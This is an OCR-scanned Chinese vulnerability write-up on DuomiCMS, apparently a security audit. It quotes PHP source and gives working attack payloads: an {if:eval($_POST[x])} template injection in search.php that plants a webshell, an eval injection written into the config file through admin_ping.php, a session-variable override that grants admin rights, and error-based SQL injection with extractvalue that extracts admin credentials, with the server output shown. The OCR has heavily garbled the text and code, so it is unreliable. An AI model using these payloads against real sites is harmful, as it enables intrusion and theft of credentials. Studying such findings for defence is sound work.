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error_reportinglll
(I Ffile_exists/( B "data/common.inc.php™))

" Location:install/index.php'™);

("duomiphp/common.php*) ;

duoml_iNC “"Sfcore.class.php";

({$cfg_website —a)]

ShowM=sg (N ' TSB!,
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($cfg__runmode ‘e')
header({ BB "'Location: index" . $cfg_fTilesuffix2);
checkIP():

echoIndex();
echoIndexi{)
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%_GET SHTTP_{'rET_'I.'ARSJ
§_POST $HTTP_POST_VARS;
$_COOKIE SHTTP_COOKIE_VARS;
$_SERVER $HTTP_SERVER_VARS;
$_ENV SHTTP_EMNV_VARS;
$_FILES $HTTP_POST_FILES;
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$starttime = microtime();
(duomi_INC. '/common, func.php');

($_REQUEST $_k==%_v)

| '~{cfg_|GLOBALS) ", $_k) (% _COOKIE[$ k1) )

("Request var not allow!'); % TIdEﬁ%mﬁk
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{$_REQUEST $_k==%_w)

(% k)-8 m_e t~(cfg_|GLOBALS) ', $_K) ($_COOKIE[$_ k1)

{"Request var not allow!');

($svar ok i § s k _RunMagicQuotes(

addslashes($svar);
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'select')
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$labelRule = B {if:(.*?)}(.x?){end if}"
$labelRule2-"
$labelRul e )"
preg_n $labelRule,scontent, | I $iar);
f$arlen siar[al);
$elselfFlag ;
($m-0;%m $ar19n sm-+){
$strif=giar(1]1($ml;
$s5trif=%this-=parses
$strThen-$iar[:
$strThen=%this->parsesubIf($strThen);
hen,$labelRule2) M
($5trThen,$labelRule3) -=a){
{ de($labelRule3,$strThen);
EhtrThtﬂl Selduomirray [@];
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(Wi sstrIf." }{\$1fF'Lag i} {\$ifFlag :}"J:
($ifFlag){ scontent=str. ace($iar[@] [$m],$strThenl,Scontent);} {scont
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("if (" gstrIf.") { \$ifFlag i} { \$ifFlag } 1%
($ifFlag) s$content=str_replace($iar(@][$m],$strThen,%con deﬁ’ﬁi.ﬁkr i
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$searchword RemoveXSS(stripslashes($searchword)); TideZZ£HAPA

$searchword = addslashes(cn_substr($searchword, B

$content st lace( B I age: }", $page, $content);
$content str_replace( N . rd}", $searchword, $content);

$content-$mainClassObj ~parself( $cnﬁ€i?€?§%ﬁi‘:
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BFEEME, payload REEMA {if: IHNFR, E—BEXNXTEFE, Example:
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payload, AFLEREFN, RAEE shell, FrlAEESE shell, XTHMAHEREEEHN—
A1EARG, url: search.php?searchword={if:eval($_POST[x])}
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BEAN: JiRES

$svar = str_replaceCarrayC'C',"D',"'[",'1',"{","¥"D,arrayC'","","","","", "), $svar);
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foreach(Array('_GET',"'_POST','_COOKIE') as $_request)

{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);

}
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($action=="set")

{

$token $ _POST['token'];
$open=fopen(| " ../data/admin/ping.php",
$str="<?php ';
$str.="sweburl = "';
$str.="$weburl";

$str.=""; °;
$str.="%$token =
$str.="$token";
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$str

fwrite($open, $str);

fclose($open); @ TideTT2HPA
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12189 admin_ping.php, Mid FEKIE, sTIARTZHBTESE, XEMNEHS. FI1HEX
M4, 4§ action XNSERE set, weburl AJIAIREK—B)IE,

—— ";eval($_posT[x]);// . token NEMBEIRE T, AANGHEHSLERET,

518 URL: /admin/admin_ping.php?action=set

userLogin();
($cuserLogin->getUserID() 1)]
{

header(| “"location:login.php?gotopage=".urlencode($EkNowurl));
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suserlD i

$adminDir ik

$groupid = '°;

$keepUserIDTag duomi_admin_id";
mi_group_id";

A,

$admin_path;
($_SESSION[$this-~keepUserIDTagl))

$this=userlID $_SESSION[$this-—>keepUserIDTag];
$this >groupid = $_SESSION[$this -keepgroupidTagl;

$this->userName $_SESSION[$this keqay%ﬂfgaﬂgEﬁ@g:
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("../dugmiphp/common.php");

(duomi_INC.'/core.class.php');
($cfg_user==0)
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BATXERMIEE member/share.php X4, XEMWNE, SRFBEEERE, SKEXAIIER id
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URL: /member/share.php?
_SESSION[duomi_user_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=
1
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m eregi('”(cfg |GLOBALS| SESSION)',$ k) )

Sql 3EAN

{intval ($uid)
$row = $dsql->GetOne( Bl "Selec where yid=$id_and uid=guid ");

eQuery(@lB"insert into "duomi favorite' values('','$uid’,’$id’,'".time()."1)");
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(strpos($clean, DN '/*' strpos(%clean,

$fail - )
$error="comment detect"; %TJdEﬁ?iM

SQL EAN, BEREFAENREXYE, XTXHEHSE, B id/score/uid, ZITX=1T2H, F—

S id, TSR BRI T BURKEINIIE, pass 12, B NS score, IS EETE SQL
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duomicms Error Warning!

Technical Support: http://www.duomicms.net/

Error page: /duomiphp/ajax.php?action=addfav&id=1&uid=1%27

Error infos: You have an error in your SQL syntax; check thr?_njlgn_q_gl_xtrga; cc
Error sql: Select id From 'duomi_favorite’ where vid=1 and Urd:ﬁ'ﬁi“f'ﬂ'“,‘l;

BATEZARIX N A, 3 uid LS5 ST, ThmE:
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3. /XIEF xxxxx*/ B—IRERAS, EIME0, MRERRAS, AFXMRFEDE

Sl

FERRT

1. column=xxx[EE&RT]
2. EERS . . column=xxx

extractvalue('anything' [BirxmlX#4] , concat [xmlE§{R] DEEEFRIEBM RAKERN32
updatexml('anything' [BfExmlx#4] , concat [xmlE&42] , 'anything' [EFHNRZA] )
concat('strl [0x7e|0x3A] ', 'str2 [Ei@HIBEEMED] ')

concat_ws('strl [FEE/FOx7el0x3A] ', "str2 [0x7e|0x3A] ', 'str3 [EEHIEEMIEG] ')
group_concat(column) REIRE— M FREER.

duomicms Error Warning!

Technical Support: http://www.duomicms.net/

Error page: /duomiphp/ajax.php?action=addfav&id=18uid=1%20and%20extractvalue(l,concat_ws(0x7e,0x7e,version()))
Error infos: XPATH syntax error: '~~5.7.26' *—-
Error sql: Select id From “duomi_favorite” where vid=1 and uid=1 and extractvalue(l,concat_ws(0x7e,0x7e, version(}})) limit 0,1;
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password from duomi_admin where id=1)))
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(preg_match( R '~\ ( *7select~s', $clean)

$fail s o
$error="sub select detect"; %Tldnﬂr%[ﬂ\

ERTY, BEERLEET, FHAXEE sql.class.php BIENITE, FEiRIENRIRRT
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VB E LR payload FHIALIES, ZAY url:duomiphp/ajax.php?
action=addfav&id=1l&uid=1%20and%20extractvalue(l,concat ws(0x7e,0x7e,select password from duom
i_admin where id=1)), {BREZEELERIZI, ER extractvalue XMEREAENEES, FIA
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duomiphp/ajax.php?
action=addfav&id=1l&uid=1 and ~'"..vid and extractvalue(l,concat ws(0x7e,0x7e,

(selectname from duomi_ admin where id =1))) and '. ~.vid
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Technical Support: http://www.duomicms.net/

Error page: /duomiphp/ajax.php?action=addfav&id=18uid=1%20and%20 %27"." v
(select name % 20from%20duomi_admin% 20where%20id%20=1)))%20%20and%:
Error infos: XPATH syntax error: "~~admin’
Error sql: Select id From “duomi_favorite’ where vid=1 and uid=1 and *\"."" vid and
=1))} and “\"."".vid limit 0,7;
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